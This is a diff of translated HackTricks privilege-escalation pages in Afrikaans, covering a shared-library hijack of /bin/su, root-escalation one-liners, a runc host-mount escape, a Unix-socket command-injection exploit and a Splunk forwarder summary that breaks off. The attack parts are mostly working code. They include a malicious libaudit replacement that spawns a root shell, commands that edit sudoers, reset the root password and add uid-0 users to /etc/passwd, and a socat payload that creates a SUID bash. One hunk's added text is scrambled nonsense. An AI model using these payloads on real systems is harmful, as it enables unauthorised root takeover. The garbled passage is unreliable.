In hierdie geval, kom ons probeer om `/lib/x86_64-linux-gnu/libaudit.so.1` na te volg.\
|
||||
So, kyk vir funksies van hierdie biblioteek wat deur die **`su`** binêre gebruik word:
|
||||
```bash
|
||||
objdump -T /bin/su | grep audit
|
||||
0000000000000000 DF *UND* 0000000000000000 audit_open
|
||||
|
@ -296,7 +89,7 @@ objdump -T /bin/su | grep audit
|
|||
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
|
||||
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
|
||||
```
|
||||
Die simbole `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` en `audit_fd` is waarskynlik afkomstig van die libaudit.so.1-biblioteek. Aangesien die libaudit.so.1 oorskryf sal word deur die skadelike gedeelde biblioteek, moet hierdie simbole teenwoordig wees in die nuwe gedeelde biblioteek, anders sal die program nie in staat wees om die simbool te vind en sal dit afsluit.
|
||||
Die simbole `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` en `audit_fd` is waarskynlik van die libaudit.so.1 biblioteek. Aangesien die libaudit.so.1 deur die kwaadwillige gedeelde biblioteek oorgeskryf sal word, moet hierdie simbole in die nuwe gedeelde biblioteek teenwoordig wees, anders sal die program nie die simbool kan vind nie en sal dit afsluit.
|
||||
```c
|
||||
#include<stdio.h>
|
||||
#include<stdlib.h>
|
||||
|
@ -318,36 +111,35 @@ setgid(0);
|
|||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
Nou, deur eenvoudig **`/bin/su`** te roep, sal jy 'n skul as root verkry.
|
||||
Nou, net deur **`/bin/su`** aan te roep, sal jy 'n shell as root verkry.
|
||||
|
||||
## Skripte
|
||||
|
||||
Kan jy maak dat root iets uitvoer?
|
||||
Kan jy root iets laat uitvoer?
|
||||
|
||||
### **www-data na sudoers**
|
||||
```bash
|
||||
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
|
||||
```
|
||||
### **Verander root wagwoord**
|
||||
### **Verander wortel wagwoord**
|
||||
```bash
|
||||
echo "root:hacked" | chpasswd
|
||||
```
|
||||
### Voeg 'n nuwe root-gebruiker by in /etc/passwd
|
||||
|
||||
```bash
|
||||
echo 'newroot:x:0:0:root:/root:/bin/bash' >> /etc/passwd
|
||||
```
|
||||
### Voeg nuwe root gebruiker by /etc/passwd
|
||||
```bash
|
||||
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,25 @@
|
|||
# RunC Voorregverhoging
|
||||
# RunC Privilege Escalation
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Basiese inligting
|
||||
|
||||
As jy meer wil leer oor **runc**, kyk na die volgende bladsy:
|
||||
As jy meer oor **runc** wil leer, kyk na die volgende bladsy:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
|
||||
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
|
||||
|
@ -24,7 +27,7 @@ As jy meer wil leer oor **runc**, kyk na die volgende bladsy:
|
|||
|
||||
## PE
|
||||
|
||||
As jy vind dat `runc` op die gasheer geïnstalleer is, kan jy dalk **'n houer hardloop wat die wortel /-vouer van die gasheer monteer**.
|
||||
As jy vind dat `runc` op die gasheer geïnstalleer is, mag jy in staat wees om **'n houer te laat loop wat die wortel / gids van die gasheer monteer**.
|
||||
```bash
|
||||
runc -help #Get help and see if runc is intalled
|
||||
runc spec #This will create the config.json file in your current folder
|
||||
|
@ -49,19 +52,22 @@ mkdir rootfs
|
|||
runc run demo
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Dit sal nie altyd werk nie, aangesien die verstekbedryf van runc is om as root uit te voer, so om dit as 'n onbevoorregte gebruiker uit te voer, kan eenvoudig nie werk nie (tensy jy 'n rootless-konfigurasie het). Om 'n rootless-konfigurasie die verstek te maak, is oor die algemeen nie 'n goeie idee nie, omdat daar heelwat beperkings binne rootless-houers is wat nie buite rootless-houers van toepassing is nie.
|
||||
{% endhint %}
|
||||
Dit sal nie altyd werk nie, aangesien die standaard werking van runc is om as root te loop, so om dit as 'n nie-bevoegde gebruiker te loop, kan eenvoudig nie werk nie (tenzij jy 'n rootless konfigurasie het). Om 'n rootless konfigurasie die standaard te maak, is oor die algemeen nie 'n goeie idee nie, omdat daar 'n paar beperkings binne rootless houers is wat nie buite rootless houers van toepassing is nie.
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,27 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# SELinux in Houers
|
||||
# SELinux in Containers
|
||||
|
||||
[Introduksie en voorbeeld van die redhat-dokumentasie](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
[Inleiding en voorbeeld uit die redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is 'n **etiketteringstelsel**. Elke **proses** en elke **lêersisteemobjek** het 'n **etiket**. SELinux-beleide definieer reëls oor wat 'n **prosesetiket mag doen met al die ander etikette** op die stelsel.
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is 'n **etikettering** **stelsel**. Elke **proses** en elke **lêer** stelseloobjek het 'n **etiket**. SELinux-beleide definieer reëls oor wat 'n **prosesetiket mag doen met al die ander etikette** op die stelsel.
|
||||
|
||||
Houer-enjins begin **houerprosesse met 'n enkele beperkte SELinux-etiket**, gewoonlik `container_t`, en stel dan die houer binne die houer in om geëtiketteer te word as `container_file_t`. Die SELinux-beleidreëls sê basies dat die **`container_t`-prosesse slegs lêes/skryf/voer lêers uit wat geëtiketteer is as `container_file_t`**. As 'n houerproses ontsnap uit die houer en probeer skryf na inhoud op die gasheer, weier die Linux-kernel toegang en laat slegs die houerproses toe om te skryf na inhoud wat geëtiketteer is as `container_file_t`.
|
||||
Container-enjins begin **containerprosesse met 'n enkele beperkte SELinux-etiket**, gewoonlik `container_t`, en stel dan die container binne die container in om geëtiketteer te word as `container_file_t`. Die SELinux-beleid reëls sê basies dat die **`container_t` prosesse slegs lêers geëtiketteer as `container_file_t` kan lees/skryf/uitvoer**. As 'n containerproses die container ontsnap en probeer om na inhoud op die gasheer te skryf, weier die Linux-kern toegang en laat slegs die containerproses toe om na inhoud geëtiketteer as `container_file_t` te skryf.
|
||||
```shell
|
||||
$ podman run -d fedora sleep 100
|
||||
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
|
||||
|
@ -29,4 +31,21 @@ system_u:system_r:container_t:s0:c647,c780
|
|||
```
|
||||
# SELinux Gebruikers
|
||||
|
||||
Daar is SELinux-gebruikers bo en behalwe die gewone Linux-gebruikers. SELinux-gebruikers maak deel uit van 'n SELinux-beleid. Elke Linux-gebruiker word gekarteer na 'n SELinux-gebruiker as deel van die beleid. Dit stel Linux-gebruikers in staat om die beperkings en sekuriteitsreëls en -meganismes wat op SELinux-gebruikers geplaas is, te erf.
|
||||
Daar is SELinux gebruikers benewens die gewone Linux gebruikers. SELinux gebruikers is deel van 'n SELinux beleid. Elke Linux gebruiker is aan 'n SELinux gebruiker gekoppel as deel van die beleid. Dit laat Linux gebruikers toe om die beperkings en sekuriteitsreëls en -meganismes wat op SELinux gebruikers geplaas is, te erf.
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,23 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Voorbeeld van sokkelbinding met Python
|
||||
## Socket binding voorbeeld met Python
|
||||
|
||||
In die volgende voorbeeld word 'n **Unix-sokkel geskep** (`/tmp/socket_test.s`) en alles wat **ontvang** word, sal uitgevoer word deur `os.system`. Ek weet dat jy dit nie in die wild gaan vind nie, maar die doel van hierdie voorbeeld is om te sien hoe 'n kode wat Unix-sokkels gebruik, lyk, en hoe om die inset in die ergste geval te hanteer.
|
||||
In die volgende voorbeeld word 'n **unix socket geskep** (`/tmp/socket_test.s`) en alles wat **ontvang** word, gaan **uitgevoer** word deur `os.system`. Ek weet dat jy dit nie in die natuur gaan vind nie, maar die doel van hierdie voorbeeld is om te sien hoe 'n kode wat unix sockets gebruik lyk, en hoe om die invoer in die ergste geval te bestuur.
|
||||
|
||||
{% code title="s.py" %}
|
||||
```python
|
||||
|
@ -41,27 +43,30 @@ conn.close()
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**Voer** die kode uit met behulp van Python: `python s.py` en **kontroleer hoe die sokket luister**:
|
||||
**Voer** die kode uit met python: `python s.py` en **kyk hoe die socket luister**:
|
||||
```python
|
||||
netstat -a -p --unix | grep "socket_test"
|
||||
(Not all processes could be identified, non-owned process info
|
||||
will not be shown, you would have to be root to see it all.)
|
||||
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
|
||||
```
|
||||
**Uitbuiting**
|
||||
**Eksploiteer**
|
||||
```python
|
||||
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,76 +1,84 @@
|
|||
# Splunk LPE en Volharding
|
||||
|
||||
<details>
|
||||
{% hnnt styte=" acceas" %}
|
||||
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
|
||||
Leer & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<dotsilp>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
<oummpr>SupportHackTricks</smmay>
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
*Kontroleer die [**subsrippangithub.cm/sorsarlosp!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
|
||||
* **Deel truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
As jy 'n masjien **intern** of **ekstern ondersoek** en jy vind **Splunk wat loop** (poort 8090), as jy gelukkig enige **geldige geloofsbriewe** ken, kan jy die Splunk-diens misbruik om 'n skul te **uitvoer** as die gebruiker wat Splunk laat loop. As root dit laat loop, kan jy voorregte na root eskaleer.
|
||||
As jy **'n masjien intern of ekstern** op **Splunk wat loop** (poort 8090) **opneem**, en jy weet gelukkig enige **geldige akrediteer** kan jy die **Splunk-diens misbruik** om **'n shell** as die gebruiker wat Splunk uitvoer te **voeren**. As root dit uitvoer, kan jy voorregte na root verhoog.
|
||||
|
||||
As jy reeds root is en die Splunk-diens nie net op die localhost luister nie, kan jy die wagwoordlêer **van** die Splunk-diens **steel** en die wagwoorde **kraak**, of **nuwe** geloofsbriewe daaraan toevoeg. En volharding op die gasheer handhaaf.
|
||||
As jy ook **alreeds root is en die Splunk-diens nie net op localhost luister nie**, kan jy die **wagwoord** lêer **van** die Splunk-diens **steel** en die wagwoorde **breek**, of **nuwe** akrediteer daaraan **toevoeg**. En volharding op die gasheer handhaaf.
|
||||
|
||||
In die eerste prentjie hieronder kan jy sien hoe 'n Splunkd-webblad lyk.
|
||||
In die eerste beeld hieronder kan jy sien hoe 'n Splunkd webblad lyk.
|
||||
|
||||
|
||||
|
||||
## Splunk Universal Forwarder Agent Exploit Opsomming
|
||||
## Splunk Universele Voorouer Agent Exploit Samevatting
|
||||
|
||||
Vir verdere besonderhede, kyk na die pos [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Hierdie is net 'n opsomming:
|
||||
Vir verdere besonderhede, kyk die pos [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Dit is net 'n samevatting:
|
||||
|
||||
**Exploit-oorsig:**
|
||||
'n Exploit wat die Splunk Universal Forwarder Agent (UF) teiken, maak dit vir aanvallers met die agentwagwoord moontlik om arbitrêre kode op stelsels wat die agent laat loop, uit te voer, wat potensieel 'n hele netwerk kan benadeel.
|
||||
**Exploit Oorsig:**
|
||||
